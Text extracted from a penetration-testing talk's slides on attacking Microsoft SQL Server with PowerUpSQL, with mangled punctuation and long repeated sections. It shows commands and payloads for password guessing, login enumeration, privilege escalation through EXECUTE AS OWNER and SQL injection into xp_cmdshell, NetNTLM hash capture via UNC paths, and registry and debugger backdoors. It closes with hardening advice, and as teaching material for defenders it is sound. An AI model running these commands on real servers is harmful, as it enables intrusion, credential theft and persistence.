Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
SQL Server BasicsWhat is SQL Server
A database platform An application A set of Windows services Each instance has its own set of
services
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
